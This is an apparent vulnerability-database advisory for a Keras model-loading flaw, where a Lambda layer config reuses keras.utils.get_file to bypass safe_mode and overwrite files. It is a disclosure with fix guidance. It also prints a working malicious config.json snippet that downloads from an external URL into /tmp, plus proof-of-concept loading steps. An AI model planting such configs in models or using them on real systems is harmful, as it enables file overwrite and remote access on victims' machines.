Skip to content

GHSA-c9rc-mg46-23w3 CVE-2025-8747 PYSEC-2025-75

Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality

High PyPI
Severity
8.6 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.12%
Chance of exploitation in the next 30 days. Higher than 2.17% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-502 Deserialization of Untrusted Data
Fix
3.11.0
Upgrade keras to this version or later

Description

Summary

It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.

The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).

Impact

Type Vector Impact
Unsafe deserialization Client-Side (when loading untrusted model) Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.

Details

Keras’ safe_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -

if config["class_name"] == "__lambda__":
        if safe_mode:
            raise ValueError(
                "Requested the deserialization of a `lambda` object. "
                "This carries a potential risk of arbitrary code execution "
                "and thus it is disallowed by default. If you trust the "
                "source of the saved model, you can pass `safe_mode=False` to "
                "the loading function in order to allow `lambda` loading, "
                "or call `keras.config.enable_unsafe_deserialization()`."
            )

A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.

package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:

However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location. This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine. Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).

Example

The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -

           {
                "class_name": "Lambda",
                "config": {
                    "arguments": {
                        "origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
                        "cache_dir":"/tmp",
                        "cache_subdir":"",
                        "force_download": true},
                    "function": {
                        "class_name": "function",
                        "config": "get_file",
                        "module": "keras.utils"
                    }
                },

PoC

  1. Download malicious_model_download.keras to a local directory

  2. Load the model -

from keras.models import load_model
model = load_model("malicious_model_download.keras", safe_mode=True)
  1. Observe that a new file index.js was created in the /tmp directory

Fix suggestions

  1. Add an additional flag block_all_lambda that allows users to completely disallow loading models with a Lambda layer.
  2. Audit the keras, keras_hub, keras_cv, keras_nlp modules and remove/block all “gadget functions” which could be used by malicious ML models.
  3. Add an additional flag lambda_whitelist_functions that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

Credit

The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

Affected versions

PyPI

PackageVulnerableFixed in
keras
>= 3.0.0, < 3.11.0
3.11.0
keras See the source repository's commits No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

keras PyPI → 3.11.0

pip
pip install --upgrade "keras>=3.11.0"
poetry
poetry add "keras>=3.11.0"
uv
uv add "keras>=3.11.0"

Severity breakdown

CVSS 4.0 8.6

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:X/U:X

Attack vector
Local
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-502: Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

How to prevent it
  • Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
  • Implementation: Explicitly define a final object() to prevent deserialization.
  • Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
  • Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
  • Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-74m6-m3xx-3vmj
Keras model loading is vulnerable to denial of service through HDF5 shape bombs
Medium Also affects keras
GHSA-m8wh-29wm-52mv
Keras: HDF5 links can disclose local file contents
Medium Also affects keras
GHSA-v2w2-w228-c444
Keras: TorchModuleWrapper can deserialize unsafe PyTorch pickle data
High Also affects keras
GHSA-58hv-7753-xmfq
Keras: tar extraction permits symlink-based path traversal
Medium Also affects keras
GHSA-5gwj-m78q-7pq3
Keras: Lambda deserialization can bypass safe mode and execute code
Critical Also affects keras
GHSA-26c4-7vv6-867j
Keras: HDF5 virtual datasets can disclose local files
Medium Also affects keras
GHSA-gh82-f9x8-5frx
Keras: DiskIOStore permits path traversal through crafted layer names
Medium Also affects keras
GHSA-hqp4-2352-xf5r
Keras archive extraction utilities allow path traversal and arbitrary file writes
High Also affects keras
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor